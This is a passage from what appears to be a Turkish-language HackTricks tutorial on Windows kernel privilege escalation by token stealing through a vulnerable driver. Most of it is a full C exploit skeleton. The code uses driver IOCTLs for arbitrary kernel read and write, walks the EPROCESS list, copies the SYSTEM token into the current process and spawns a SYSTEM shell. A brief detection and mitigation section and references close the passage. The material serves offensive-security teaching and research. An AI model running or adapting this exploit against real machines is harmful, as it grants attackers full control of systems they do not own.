5) Seçenek A (yaygın): Gömülü ref countın tutarlı kalması için mevcut tokenınızdaki alt 3 biti koruyup SYSTEM pointerına ekleyin.
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) Kernel write primitiveinizi kullanarak Token_NEWi (EPROCESS_SELF + TokenOffset) adresine yazın.
7) Mevcut processiniz artık SYSTEM. Doğrulamak için isteğe bağlı olarak yeni bir cmd.exe veya powershell.exe spawn edin.
## Pseudocode
Aşağıda sadece bir vulnerable driverdan iki IOCTL kullanan bir iskelet var: biri 8-byte kernel read, diğeri 8-byte kernel write için. Kendi driver arayüzünüzle değiştirin.
```c
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
// Device + IOCTLs are driver-specific
#define DEV_PATH "\\\\.\\VulnDrv"
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Version-specific (examples only resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}
// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}
int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);
// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}
```
Notlar:
- Ofsetler: Doğru offsetleri elde etmek için hedefin PDBs'iyle veya bir çalışma zamanı sembol yükleyicisi ile WinDbgin `dt nt!_EPROCESS` komutunu kullanın. Offs etleri körü körüne sabit değer olarak kullanmayın.
- Maske: x64'te token bir EX_FAST_REF'tir; en düşük 3 bit referans sayacı bitleridir. Tokeninizin orijinal düşük bitlerini korumak, anında referans sayacı tutarsızlıklarını önler.
- Kararlılık: Mevcut işlemi yükseltmeyi tercih edin; kısa ömürlü bir yardımcıyı yükseltirseniz, o sonlandığında SYSTEM yetkisini kaybedebilirsiniz.
## Tespit ve hafifletme
- Güçlü IOCTL'ler açığa çıkaran imzasız veya güvenilmez üçüncü taraf sürücülerin yüklenmesi temel nedendir.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard ve Attack Surface Reduction kuralları savunmasız sürücülerin yüklenmesini engelleyebilir.
- EDR, arbitrary read/write uygulayan şüpheli IOCTL dizilerini ve token swaps için izleme yapabilir.
## Referanslar
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
{{#include ../../banners/hacktricks-training.md}}